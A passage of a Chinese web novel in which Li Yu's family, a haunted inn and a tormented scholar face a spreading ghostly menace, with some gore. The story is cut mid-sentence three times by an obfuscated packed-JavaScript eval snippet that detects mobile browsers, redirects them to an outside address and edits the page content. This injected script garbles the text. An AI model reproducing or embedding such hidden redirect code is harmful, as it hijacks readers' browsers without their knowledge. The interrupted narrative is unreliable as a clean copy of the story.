鬼怪尖叫起来,那声音也如兽类,却比猛兽更尖锐刺耳,吓得李化差点松口。略一迟疑,更是狠狠地咬紧,若是松口,死的就不知是谁了!鬼怪脸上鲜血四溢,有一部分还涌进了李化口中,又顺着他的嘴角流了一枕头,那血污也散发着极难闻的腥臭味,既有土腥味又有血腥味,更有种说不出来的怪味,李化几欲作呕。 正是胶着之时,门被狠狠推开,詹贵儿发现不对冲了进来,一进门就被眼前的场面吓了一跳。眼见阿翁受难,连带昨晚没保护好哥哥的情绪也被点燃,怒气急速攀升,他化身成一个光团,使出了全身上下所有力气狠狠撞向那鬼怪,速度之快如炮弹般撞得那鬼东西摔了个四仰八叉。 李化一见是詹贵儿进来,立刻松开口要喊救命,可他一张口,恶心的脏血直往他喉咙里钻,呛得不行。他立刻起来“呸呸”几下,将那腥臭之物吐了干净,这才发现自己已经能动了。 鬼怪一时吃了亏,也并不恋战,转身便化作黑雾飞遁而走,这次没有李钰在旁阻拦,詹贵儿立刻追了出去。可也不只那东西是什么变的,速度极快,见实在追不上,詹贵儿便赶忙回家,到家后便发现李化已经开始口吐绿水了。 “然后我们请了郎中来看,大夫把脉也并未看出有何中毒迹象,身体也无碍,只说受了惊吓,便开了一些安神和止呕的药。可你看看他吐成这个样子,这东西还这么……哎,如何让人不担心啊?”木若菱忧心忡忡道。 胡四相公听完事件经过,想了想从袖中取出一个小药瓶递给木若菱道:“此乃鲜竹灵液,可将其加入汤药中,应当能使李老爷更快恢复,亦有……亦有除臭的功效。” 木若菱接过小药瓶看向李钰,李钰点了点头,便感激地谢过胡四相公,立刻出去亲自盯着煎药。 “胡四相公,你看这怪物到底是什么?”李钰蹙眉问道。 “抱歉,我还不能确认。”胡四相公摇头道,“只听形容来讲这东西与其说是鬼,不如说像是什么精怪,做出的事也透着原始的好奇和探寻。可它行事邪异非常,倒像是某种鬼魂和精怪的融合体,吸收了各种残魂邪气成了如今这幅模样,也不知道最初到底是什么东西?” 众人听得更为不安,李钰担心道:“那它一击不成,可还会再来?” “至少这东西在小贵儿这里吃了亏都跑那么快,可见它如今还未修成,暂时不是什么厉害的玩意儿。你放心,我最近就住在你们家,它若再来我一定将其拿下!” 有了胡四相公这番话,李钰心下稍安,不过那诡异又恶心人的东西,最好是再也别出现了的好。 待西院的客房收拾好,李钰又亲自盯着李化喝了药,见父亲好了许多好,这才离开。往后几日,确实没有怪事发生,只是李老爷子大过年的,也不敢走亲访友,嘴里臭味数日才散,不得不闭门不出。得亏有胡四相公的灵药,一日日渐好,才终于结束了全家人的噩梦。 胡四相公在李家这一住就是一个月,可这一个月风平浪静,未生半点波澜。李钰和胡四相公猜测那鬼东西既伤不了李钰,又遇到李化这么个敢咬鬼的硬茬,吃了两次亏,应当是放弃加害李家人了,可能也是知道胡四相公更不好招惹,便再也没来过李家。只是这东西一开始明晃晃就是冲着李钰来的,到底是什么东西会跟他结仇?李钰和胡四相公讨论了许多次,也没得出个结论,这让李钰苦恼了许久。 可既然无事发生,李钰也不便久留人家,在胡四相公提出告辞后,也就应下了。不过在胡四相公走之前,他还是给李钰留下了一撮手帕包着的狐毛,告知李钰到若遇危险变烧了狐毛,他自会立刻赶到。为表感谢,李钰给狐族装了一车的酒肉送去,胡四相公倒也笑纳了。 而那狐毛李钰转头就交给了他娘收着,他自己有护体法印倒是无妨,父母这边更该小心才是。白行野又还没回来,李钰也不由担忧,他伤得如此重吗? 此时,远在江西庐山有一处锦绣谷,此处不见人烟,云遮雾障,仙气袅袅。谷中藏有一处仙人洞,极难寻觅,天然形成的洞府中灵气沛然,更有一种洞天玉液常年不涸,此等宝地乃是吕祖修炼之所。作为吕祖的爱徒,白行野也在此处修炼。 他盘坐于洞前山崖上,灵气在全身运行一个大周天后,长长吐出一口气,随即睁开了眼。眼前仙气缭绕的层峦叠翠与他在人间所见的繁华之景大不一样,可这天地山川,一草一木,却是他最为熟悉的存在。 白行野身上的伤早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350287|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已养好,前任宋帝王给的万年灵膏不但极快修复了内外伤,上古灵气更是让他提升了一个大境界。伤一好他便迫不及待地要向师父辞行,回去李钰身边。 可吕洞宾只是捋着胡须冲他笑,并未立刻答应,反而问了他一个问题,“徒儿,你如今可记得你的道?” 白行野怔住,久久才答道:“师父曾经经过钟师祖所设的十世磨砺方才入道,又以度尽天下众生为己任,终才得道。可徒儿愚昧,以前只想复刻师父的修行之路,也学师父在红尘历练,磨练心性、积累功德。只因此乃得道法门之一,却从未想过做这些事的意义。” 是的,他修道却不懂道,他想成仙却不知成仙后要做什么,最初的想法,仅仅只是逃出华山池看看外面的世界是什么样的;被师父收留后,又想看看成仙后的世界是什么样的,直到…… “直到遇到李钰,徒儿与他一起见证了人间种种,世情无常……” 他停住了,面上露出些许怀念,既而又只剩茫然,“虽然时间短暂,但徒儿和他在一起的时候才有一种真实的活着的感觉。师父,我是不是已经无法……再修道了?” 吕洞宾没有责备他,而是缓缓道:“你同他一起所经历的诸事,不也磨练了心性,积累了功德吗?” 往日种种浮现在眼前,白行野眼前一亮,又低下头去,“那是因为阿钰他总是招惹上一些本与他无关的事,阿钰心善,明明身为凡人,却总是将那些与他无关之事往自己身上揽,这才阴差阳错让我也积下了功德。” “你真的认为自己只是因为他才去行善?”吕洞宾进一步问道。 白行野闭上眼睛,他想起了许多事、许多人,走马灯般在眼前急速略过,可最终停留在他眼前的,竟然是他帮庄子上的农户们收稻子时的场景。男男女女、老老少少抱着一捆捆收割好的稻谷往田埂上搬,他们脸上带着细细密密的汗珠,笑容淳朴又满足。老人像夸自家后生一样,说白行野有本事;热情婶子送他烤得香甜的地瓜吃;小孩子们围着他求他教教自己,闹腾个不停。白行野不自觉地唇角微勾,那时的自己似乎也是笑着一一回应了他们。 他有些明白师父想说什么了,所谓的积累功德并非是冷冰冰的数字叠加,就算没有积累功德才能得道的这个目的,他觉得自己也是愿意去帮助他人的。 吕洞宾笑得慈爱,温声道:“修行一道并非一蹴而就,以情入道者也并非没有,为师我即便成仙,也依旧在人间游荡,你留恋人间我并不反对。可你始终还是经历不够、体悟尚浅。你便还在此多留些时日,好好静静心,李钰毕竟是个凡人,又能陪你多久?” “师父……” 吕洞宾微微抬手,截住了白行野的话头,继续道:“半年后你若还想去找那小子,那便去吧。” “是,多谢师父教诲。” 这次,白行野乖顺地应了下来,他不自觉地抬手摸了摸胸口,衣襟下是鲤鱼玉佩。 抱歉阿钰,请你再等等我。 81.美人首 春夏之际,漕运又热闹了起来,来往商人也多了,各家客栈旅店生意也好了。广源客栈今年更是热闹,因其环境舒适,价格公道,来投宿的人很多,遇到有些商队人多的,客栈也愿意开方便之门,让他们多人合住一间。 客栈三楼的尾房比其他房间略大一些,这间房里就住着五个人,床铺、罗汉榻、还有打地铺的,一群北方汉子睡得四仰八叉。好在大家都相熟,没有那么多讲究,住得还算习惯。有时候兴致来了,晚上还能点壶小酒,一边喝酒吃菜一边谈天说地,倒也有一番趣味。 这晚他们也是如此,这群人做的是从北方往南运送杂豆和油料的生意,这次来到南边还可以再收些耐放的蔬菜和农具运回去卖,今晚已经是他们在常州府城里呆的最后一晚了。几人口口声声说着,今晚早些睡明天好赶路,但身上又带着钱又带着货的,难免高兴了几分,喝完一壶酒又点了一壶,眼见着就要喝到深夜了。 领头的大哥还算心里有数,叫停了还要划拳的弟兄,“可说好了啊,这轮喝完无论谁输谁赢都打住了,明儿可就回了,你们一个个的都别掉链子。” 一个精瘦的男人道:“知道大哥,我们哪还会犯这种错?来来来,左右不剩多少了,咱们兄弟几个一起干了!” “我呸!”另一个壮汉笑骂,“谁跟你一起干了?这杯就该你喝!输了还想不认账?” “谁不认帐了?!” 说着几个人又嬉笑吵嚷了起来。 “大爷,大爷……” 吵闹声中幽幽地响起一个女子的声音,细微酥柔,却在一众男人的粗声粗气中显得诡异的突出。 那大哥抬手制止了几人继续吵闹,“你们听到什么声音没有?” 那几个人立刻闭上了嘴,满脸疑惑地竖起耳朵仔细听着。 “大爷,你们看……” 女子的声音再度传来,此时大家都没说话,所有人都听到了,连忙四处查看那声音从何而来?精瘦的男人甚至把门打开往外瞅,并不见有人。 “嘻嘻嘻,你们看我,你们看我呀……” 找不到声音来源的几人,顿时汗毛倒竖,醉意都散了几分。 “你们快看那!”其中一个少言寡语的男人,忽然瞪大眼睛抬手直直地指向墙面,只见罗汉榻靠着的木板墙上,不知何时竟破了一个碗口大小的洞。可这不稀奇,稀奇的是这洞口居然伸出来一个人头!打眼一瞧还以为是人头飘在半空中,将几个大汉吓了一跳。 “嘻嘻嘻嘻,你们看到我了呀?”那个人头发出尖细的笑声,众人定睛一看这竟是名美艳女子的头。那女子凤髻蝉鬓,艳若桃李,极为娇艳动人,几个人眼睛都看直了,可即便如此,也忽略不了女子的怪异之处。 那女子也不知是如何做到的,竟从那点大的洞口伸出一截光滑白皙的酥臂,纤纤玉手朝几人柔柔招了招。 几人互相看了看对方,或许是仗着人多,也或许是喝了酒撞胆,都纷纷往墙边走去,靠近一看,更觉女子长相艳丽,不由就有人动了歪心思。其中一个胖子忍不住就想上手摸一摸那柔荑,可还没触到那光滑的皮肤,女子又是轻笑一声,以极快的速度将手和头都缩回洞中去,又将众人唬了一跳。 众人面面相觑,不知女子是何意?胖子却立即爬到罗汉榻上,往那洞里可劲地瞧,可对面似乎没有点灯,黑洞洞的什么也看不见,真叫人心痒难耐。哪知这时他被人猛地一推从榻上滚下来,转头一看就见是大哥,看起来还有些生气。 “大哥这……我不是……” “你是个傻的吗?这么小的洞那人能同时伸出头和手?!”大哥斥道。 胖子一呆,冷汗就下来了,麻利地往后爬了几步回到大家身边,才快速起身再去瞧那洞口,心里满是后怕。是啊,不过碗口大小的洞,只是将头伸出来都难吧? “这这这该不是遇到什么妖怪了吧?” 他话音刚落,女子的笑声又起,几人立刻往洞口看去,那女子不知什么时候又将头伸了出来,正眨巴着眼睛打量众人,似是十分好奇。 那大哥粗声粗气问道:“你是个什么东西?也敢吓我们哥几个!好叫你知道惹错了人!” 说着他便大步扑上前去,就要将那女子的头捉住,谁知那女子更快一步,见他上前立刻又缩了回去。这次几人都看清了,那美人头是变成了比碗口还小的一团肉球才能顺利通过洞口的!几人脸色大变,这下更是确定了这东西绝不是人。 一击不中那大哥立刻转身,从枕头底下摸出一把二尺长的刀来,他们走南闯北要防歹人,自然会带防身武器。他持刀走到靠墙位置,将刀悬于洞口之上,这就准备来个守株待兔,其他几人皆是屏住呼吸,神色紧张地看着此处。 对面的女子,恐怕听到这边久久未有动静又将头伸出来,正要冲对面的汉子们笑,忽觉头顶生风,不待其反应,大哥已经一刀斩下,头颅立断! 女子来不及发出一点声音,头颅已经滚落在地,咕噜咕噜地滚了几圈停下来后,面部正好朝向几人,表情竟还是那般媚眼如丝、唇角含笑,而被斩断的脖颈处还有鲜血喷涌而出。 几人大惊,胖子吓得跌坐在地,而砍头的大哥也是面色铁青。 精瘦的男子颤抖着指着面前的头颅,“她不是妖怪吗?怎么还是人头……” 另一个壮汉也紧张地看向大哥,“她不会是人吧……” 谁知这时,那个话不多的男子也不知是不是吓懵了,忽然大叫了起来,撞开房门冲了出去,边跑边喊:“杀人了!死人了!” “铛啷”一声刀落在地上,所有人彻底酒醒了,面对地上那颗带血的头颅,谁也不知道如何解释了。 董掌柜带着店小二匆匆跑上楼时,三楼的那间屋前已经围了好些人了,里面的住客都瘫坐在走廊上,被吵醒的住客正围着他们七嘴八舌、议论纷纷。 “怎么回事啊?” “说是喝多了把人砍了……” 董掌柜一听,这还了得!正要上前一问,就听那精瘦的男人正断断续续地向旁人讲述方才发生的事,看起来吓得不轻,其他人听得个大概,一脸将信将疑。 这一听,董掌柜就觉出不对,“你们在说什么东西?你们隔壁根本就没有人住,前两天地板坏了,澡盆漏水漏到楼下去了。我把客人都请出去了,哪里来的什么美人,还叫你们砍了头的?” 众人一愣,那胖子不可置信道:“怎么可能?这头都还在里面呢?” 立刻就有胆子大的进屋里看,一看地上只有一滩不知名水渍,哪有人头? “头……头呢?刚刚还在这儿,怎么不见了?” 那老大像是被惊醒了一般,推开围观众人果查看一圈,果然不见人头,他立刻又冲去隔壁,一推门里面没点灯,静悄悄的。小二掏出火折子把灯点上,一盏油灯照亮了整间屋子,确实是没人住。只有那个与尾房共用的一面墙上,有着一个碗口大小的破洞。 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354497|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥腿一软跌倒在地,也不知是受惊过度,还是松了一口气。 虽然并无杀人案发生,也有人猜测是那几人酒喝多了,可当晚在场的一些客人,心里总觉得毛毛的,纷纷提出退房。这广源客栈出现“美人首”的诡异怪谈也不胫而走,没几天便传得全城皆知。 李化在家唉声叹气,直道流年不利,怎么如此多的怪事?若是白贤侄还在就好了,这般一想,叹息更甚。但他也没有别的办法,只能眼睁睁地看着本该在旺季的客栈,客人却越来越少。 可这种情况并未持续多久,因为同样的事情,竟也出现在其他的客栈旅店中,就连官府都被惊动。然而并不存在实证,最后也都不了了之。可这些事却在民间越传越广、越传越可怕,一时本地人、外来客皆人心惶惶。尤其属走南闯北的商人们最是无奈,毕竟总得有一个歇脚的地方,在没有选择之下,只能抱着侥幸心理,依旧如往常那样住进客栈。如此一来,广源客栈的生意才又恢复如常。 可李钰心中始终不安,他总觉得一切似乎与最初想要害他的鬼怪脱不了关系。伤不了他便缠上他的家人,失败后又在他家的店里作祟,到现在蔓延至全城……他担心这事还没完。 丁再昌他们几个也听说了这事,一起上门来看望李钰。李钰不愿让他们担心,也没有提之前家中出现的怪事,三人见他反应如常也没多想,便聊起城中热议的“美人首”。 “虽说子不语怪力乱神,可近来这些怪事未免也太多了一点。”丁再昌道。 席方平放下茶杯,道:“如此怪象频出,必有缘由。” “那你说这是何缘由?怎的如此不太平?”丁再昌问。 席方平摇了摇头,他哪里会知道? 鄂秋隼叹道:“要是白道长在就好了。” 他刚一说完,脚下就被两只脚踩中,一时表情都扭曲了,这才察觉自己哪壶不开提哪壶,忙道:“抱歉,李兄。” 李钰并不觉得有何不可说,直言:“别说你了,我也想他。” 几人脸色这才缓和,丁再昌道:“可不是吗?这些日子城外寺庙道观香火都多了,都在求平安,就怕自家遇到那些可怕的玩意儿。” “听说广源客栈出现的美人首不就被人一刀砍下了?毫无反抗之力,只是略有些吓人罢了。”席方平道。 “你说得轻松,总之无论如何我不想遇到。”丁再昌想想就打冷颤。 他这么一说倒是提醒了鄂秋隼,“县学里那个王生这几日没来读书,该不会就是遇到那美人首被吓住了吧?” 李钰眉毛一挑,就听席方平说:“你想多了,哪来那么多美人首?正是换季的日子,应当只是生病了。” 鄂秋隼也觉有理,可李钰倒是把这话听进去了,毕竟这是在聊斋的世界,任何一个王生都有可能是被妖怪鬼物祸害的对象。 他轻咳一声,问道:“哪个王生?” “此人名叫王启后,颇有些才学,人也刻苦,天天来得最早走的最迟,从未见他请过假,可这次已有三天没来了,我才往那怪事上猜。”鄂秋隼回道。 这么一说,李钰更觉有可能了,他迟疑片刻,道:“你们既是同窗,何不去看看他?” 其他三人面色古怪,“可以是可以,只是我们平时并不怎么熟。” “可以的话那就去看看人家吧,我陪你们一起去。”李钰立即道。 三人面面相觑,但见李钰一副已将事情敲定了的样子,只能应下。 82.抽肠(微恐) 李钰交代好詹贵儿在家陪着李家父母,便随丁再昌三人去往王启后家探望,还带了一些家里用于平时走亲访友备的礼品。 到了王家,大白天的却是门户紧闭,其他几人倒没有在意,席方平上前敲了敲门,结果等了许久才有人来开门。开门的是个小老头,他展开一条门缝往外瞧了瞧,见都是些年轻后生,便猜应该又是自家少爷的同窗来探望,心里不禁一阵烦恼,不冷不热地问道:“几位找谁呀?” 席方平向老头微微拱手道:“我们乃是县学的学子,王兄近日未来上课,特意前来探望。” 老头子皮笑肉不笑道:“劳烦诸位了,可我家公子卧病在床,家中老爷娘子皆是操劳过度,不便见客,还请几位先回吧。” 这老者言下之意竟是连门都不让他们进,李钰最快反应过来,提着礼盒上前一步,客气道:“既如此我们也不便叨扰,这是我们的一片心意,里面也有一些补身的药材,不知你家少爷的病是否用得上?还请老人家看看。” 闻言,老头皱着的眉随即舒展了些,将门半开伸手接过了礼物,语气也客气了几分,不过却避而不提自家少爷的病,而是问道:“几位贵姓?等我们公子好了定去谢过。” “不必客气,我叫李钰,这三位分别是席……” 这时,李钰话还没说完,只听院里忽然闹将起来,又是砸东西的声音,又是男人的吼叫声。 老头立刻回头去看,一脸的愁苦,“怎么又闹起来了?” “来人啊,快来人按住他!”里面又传来一名中年男人的呼叫声。 更有一个人的声音比他的声音还要大,吼叫道:“你们滚开!放我出去!我要死……我要去跳河!” 老头脸色立刻大变,迈步冲了回去,连门都忘了关,自然也将门口几人抛之脑后。 站在门口的四人你看看我我看看你,听着里面的闹得更厉害了,席方平抬手将门一推,“走,进去看看。” 其他三人立刻跟着席大哥进了王家宅院,往里走了几步,就见堂屋门口一名中年男子和一个小厮,正一人一边拽着个衣衫不整的年轻男子往屋里拖去,刚进去的老头也忙上前去帮忙抱住那年轻男子的腰。另有一妇人在一旁心急如焚地看着,她被一个婆子扶着,看起来也是身体不支,强撑着精神。 而那大闹的年轻男子蓬头垢面、衣衫凌乱,竭力反抗着其他人想要往外冲去,一边推搡人一边还大骂着各种污言秽语,看起来竟似疯了一般。而这人经过席方平他们仔细辨认才看出,这就是他们的同窗王启后啊! “王兄怎会这副模样?”鄂秋隼喃喃道,像是忽然想起什么似的,忙回身把大门关上。 那中年男人也见到了几人,此时也管不了丢不丢人了,吼道:“看什么看?还不快来帮忙!” 席方平他们这才像被惊醒了一般,手忙脚乱地上前去帮忙制住王启后,这一上手才发觉这王启后好大的力气,怪不得三个人都制不住他。有了他们帮忙,老头转身去找了一根麻绳来,几人合力才将王启后捆住,又一起将人抬回了房间。放到床上后,王启后依旧嘴里乱骂一通,过了好一会儿才渐渐安静下来。 也是这时候,李钰才准备好好看一看这书生到底是何模样?透过其散乱的发丝缝隙,李钰仔细辨认着此人样貌,冷不丁就对上一双布满血丝的眸子,王启后正恶狠狠地盯着他看!这一眼直把李钰吓得后退两步,等他缓过神来,再仔细去看王启后,对方却像是脱力了似的,已经阖上双目沉沉睡去了,仿佛方才那一幕是李钰的错觉。 一屋子的男人累得气喘吁吁,那中年男人应该是王启后的父亲,他累得大汗淋漓坐在椅子上顺了半晌的气。见王启后睡过去了,才又站了起来,冲几人使了个眼色,他们便跟着王父一起出了卧房。 王父并没有邀请他们去坐一坐,而是面色有些难看地问:“你们是谁?为何不请自来?” 这话就说得不太客气了,丁再昌拉住正要说话的席方平,拱手道:“伯父,我们是王兄的县学同窗,今日前来只为探望,只是没想到突逢变故,担心出事才不请自入的。今日发生之事我们会守口如瓶,望伯父勿怪。” 他彬彬有礼又态度诚恳,老头也凑近王父耳边说了几句,王父点了点头面色稍霁,长叹一声道:“家门不幸啊,今日也是麻烦你们了。” 李钰抓住时机连忙问道:“不知王兄是得了什么疾病?怎会出现如此情状?” 此时再瞒也没有意义了,王父请他们去了堂屋坐下,唉声叹气了半晌才道:“此事实在难以启齿,又涉及怪力乱神之事……可如今我们也没办法了,不如你们秀才公们听听,看看有无解救之法?” 唯一没有功名的李钰脸微微一热,也不好于此时解释,只能默不作声听王父道来。 “还得说到数日前我儿休沐,午后他在房里小睡,忽然听到他在房里惨叫。我们一家以为进了贼人立刻抄家伙闯了进去,可谁知将人摇醒后,他只说是做了个梦,被梦魇住了而已。起初我们也并未多想,可没想到从此就再没消停过……” 王父想起这些日子来,儿子身上频频出现的怪事,又是恐惧又是无奈。原来王启后那次梦魇后越发的没精神,一点声响都会刺激得他无比惶恐,整日都陷入一种惊惧的状态,别说是读书,连饭食都难以下咽,睡眠更是不得安稳。 在家人们的逼问下他才直言,那日他所做噩梦竟是看到一身材高大却含胸驼背的黑胖老妇来到了他的房中,那老妇人不只身形怪异,面貌也奇丑到可怖,身上还散发着恶臭!王启后第一眼看到还以为是什么怪物?可他如同被施了定身法,躺在床上一动也不能动,只眼睁睁看着那老妇怪笑着靠近,最后都将脸凑到他面前了!一时间将王启后吓得哇哇大叫起来。 可不管他如何喊叫如何咒骂那老妇,对方依然不走,反而在他身上嗅闻起来,吓得他更是叫得惨烈。就在这时他被家里人摇醒了,这才从噩梦当中解脱了出来,到这个时候王启后还以为他只是做了一个怪异的噩梦。可是后来就不对劲了,他时不时就会看到老妇出现在家里的各个地方,眼神阴毒地看着他,嘴角还带着意味不明的笑意,常常将王启后吓得六神无主。一开始他怕吓到家人还不敢直言,直到有一天那怪物一样的老妇对他下手了! 本来因他这些日子精神不济又身体虚弱,便没去县学了,家人又找了郎中来瞧,给他开了个压惊养生的方子吃着。那天他母亲去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358677|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他送药,门一打开就见他直挺挺一条垂在半空中,把他娘吓得差点晕过去,还以为他投缳自尽了!仔细一看,才发现房梁下根本没有绳子,忙唤人来救,于是家里所有人都看到了这幅场景。明明他脖子上什么都没有,却是悬在半空中,就像那些上吊之人一样! “我们好几人合力才将他拉了下来,他那时候都已经翻白眼了,再过些时间恐怕就没救了。等我儿醒过来后才说,正是那噩梦中的老婆子居然一直缠着他!也是那东西要掐死我儿!” 在场几人听得心头发紧,一旁的老仆想到这几日公子受的罪,也不时抹泪。李钰更是惊骇不已,王父所形容的那个怪老妇可不正是当初害自己老爹的鬼怪!他心下一沉,难不成那东西发现害不了他们家里的人便转换目标了?还是说那怪物本就是无差别害人? 不待他深想,王父继续说起后面发生的事,那鬼物这次谋害性命未成后,家里人将王启后看得更紧了,也请了术士、道长来家里做法。而那些人做完法收了钱后便扬长而去,家里的状况却一点没有改变,而且不知是否更激怒了那鬼物,竟像是和王启后杠上了,变本加厉地折磨人! 那日王启后正躺在床上休养,守着他的小厮不过是打了个盹,王启后便又一次见那老妇推门而入,这一次他依旧动弹不了,就连发出声音叫醒小厮都做不到。那东西凑近竟伸出它怪异的五指往王启后身前一划拉,衣服便分开两边,袒胸露腹。老妇桀桀笑了两声,手指随即深深地戳进王启后腹腔之中,顺势往下一划就将他开膛破肚! 王启后几乎被吓疯,可即便如此它还不罢休!那肮脏的爪子又往王启后的腹腔里掏去,很快抽出了一根血淋淋湿乎乎的长条状的东西,竟是将王启后的肠子都抽了出来!老妇面露兴奋,手上的动作不停,继续将手中之物不断往外拉。 就在这时,房内打盹的小厮悠悠转醒,睁眼所见便是这血腥恐怖的一幕!还不等他惊叫出声,便见老妇盯着他笑了,并将手中秽物往半空一抛,打在小厮头上,小厮一个栽倒下去,便看见公子肚子里的东西丢了他满身。小厮惊恐万分地把那恶心的东西拍开,起身就往外跑,一边跑一边叫人。可等大家赶来,房内却像什么都没有发生过一样,毫无异状,而王启后此时正呆呆愣愣地从床上坐起来,双目发直,人似乎已经傻了。 “自那以后我儿时而呆傻,时而就如今日这般发疯,闹着要去寻死。可怜我儿苦读多年,日耕不缀,为何会遇到这样的事情?让他以往所有努力都白费,如今居然连个清醒正常的人也做不了了……”王父今日初次将此事摊开来讲,最后已是泣不成声。 看着这位父亲如此模样,又想到方才看到的王启后的娘也是强撑病体,可见这一家子被折磨成什么样了。 令王父失望的是,面对此种异事,席方平他们也束手无策,几人惭愧告辞。而李钰神色最为沉重,他知道这东西一开始是冲着他来的,可他更害怕的是,那鬼怪这次找上了王启后,往后还有没有其他家的人也遭遇此类事件?就像此前的美人首一开始也是冲着他们家的客栈去的,之后便在城中扩散开来。 走出王家时,天色已晚,夕阳西下,红彤彤的火烧云像是昭示着危险已经降临。 83.意外访客 等其他人都离开了,李钰先是回家了一趟,跟家里人说去朋友家住两天,转头就又回了王家。既然那东西惧怕他身上的纯阳法印,那他就去王家守着,为此他还特意带上此前买的各种符咒法器做掩饰。 对于他的去而复返,王父很是意外,但想到家中确实缺人手,左右已经被李钰知道了家中情况,便安排他和带来的小厮住下,可这位李公子竟还特意要求住在王启后隔壁。 说来也怪,这李家公子来一住还真有效果,儿子竟真不再闹了,昏睡两日后竟能主动说自己想吃东西了,神智也清醒了许多!王家人大喜,还以为是李钰带来的那些符咒起了作用,对李钰是千恩万谢。李钰准备走的时候,王家人又是不舍又是担忧,得了李钰一声“有事可随时找我”的承诺才肯勉强送他走。 王家事情暂了,李钰这下明白了,那鬼怪竟在躲着他!而他并未就此安心,因为接下来的几个月,城中各类或真或假的闹鬼传言越来越多。正如李钰此前所担心的那样,与王家类似的闹鬼情况就像“美人首”一样逐渐在城中传播开来,许多户人家都出现了程度不一的闹鬼之说。而不一样的是人们口中所言的鬼怪形象,或男或女、有老有少,也并非和李家、王家遇到的完全一样。请人做法的人家越来越多,城里城外的寺庙道观更是香火不断,每日人来人往络绎不绝。 这些日子阿福每日都会将茶楼和客栈中听到的城中怪事收集回来告知李钰,见着越来越多人的生活遭受影响,有人因此重病、疯癫,他的内心越发焦虑不安。李钰有一种感觉,一切症结必定还是那个鬼物。即便因他去到王家那东西躲出去了,但看来它并不愿罢手,甚至要闹得更厉害!而且从覆盖范围来看,对方的力量似乎还在不断增强。即便如今正值鬼月,可往年也并不如此,如今城中景象说是百鬼夜行也不为过。一切若真是那鬼物引起,那其如今在城中如此搅动风云,它的力量恐怕早已不可同日而语。 鬼神之事,李钰一个凡人实在束手无策,正准备再去求胡四相公和小翠想办法的时候,一个意想不到的人主动上门来拜访。 再次见到窦婵,李钰很是意外,如今的她看起来除了脸色过度苍白,并不显得多么恐怖,看起来更像是个有些病弱的姑娘。李钰关上房门,请她入座,詹贵儿眼里带着警惕,紧紧贴在李钰身旁,都忘了李钰如今身上有护体法印,窦婵不可能伤得了李钰的事。 窦婵似毫无所觉,开门见山问道:“白道长不在吗?” “他走了有些时日了,暂时还没回来。”李钰摇头道。 窦婵沉吟了片刻才说:“近日城中种种异事,李公子可听说过?” “自然知晓。”李钰眉梢一扬,“窦姑娘难不成知道什么?” 窦婵没有直言,而是从头说起,“自南三复事发,南家这一支败落后,孙家老爷夫人强行将女儿的坟迁回了自家祖坟,我于孙家小姐墓旁为其守墓,日夜忏悔己身。那里虽是孙家祖坟所在,周围却也都是坟场,大多入土为安的鬼魂已入地府轮回,可也有一些心愿未了、执念不消的孤魂野鬼在附近徘徊,平日除了分食些祭拜香火,倒也未曾出过岔子。” 听她缓缓道来,提及南三复时也面不改色,可李钰知道她这么说后面必定要生变故。果然,窦婵柳眉微蹙,道:“这些日子却不太平,一些鬼魂躁动不安,似乎难以压制身上怨气,有些鬼魂离开后也再没回来过。一开始我也只道是鬼月将至才有此现象,可后来却发现有些不对劲,因为就连我也感受到有什么力量在召唤我们,引众鬼为恶。” 窦婵所言击中了李钰一直以来的担忧,这一切果然是有源头! “你可知那到底是什么东西?”李钰急切道。 窦婵轻轻摇头,“我也不是很确定,我已报仇雪恨,又日夜诵经,如今早已放下一切,因此那股力量并未对我造成了太大影响。可最近坟场聚集的鬼魂纷纷离去,我察觉后担心有异,便尾随其中一些鬼魂,却发现他们如今混在城中作乱,有一二小鬼被我赶走,可其他的鬼以我如今之力也对付不了。本想来通知你与白道长,可道长竟不在,你若独自卷入其中,恐怕徒增危险。” 听到这里,李钰怕她知道什么不愿明说,正色道:“窦姑娘不必为我忧心,你还知道什么尽可直说。实话跟你讲,我如今身上有吕祖所赐护身法印,鬼妖皆伤不得我,我自己也会量力而行。” “李公子果然身负奇缘。”窦婵闻言眉头略微舒展了些,“既如此便听我一言,我猜测一切来源恐怕是……城隍庙。” “不可能!”李钰大惊道,“城隍和其下属已经在地府受刑,何来的作乱之人?” “原来城隍一案也与公子有关。”见他如此说,窦婵惊讶后也立刻猜到其中缘由,于是道,“我之前也并未往这方面想,最近怪事让我想起之前听一些老鬼说过,如今本地没有城隍管辖,仅有一个香火不旺的土地庙。若久无神灵管束此地,此处鬼妖必定会越发不受约束,滋扰活人。” 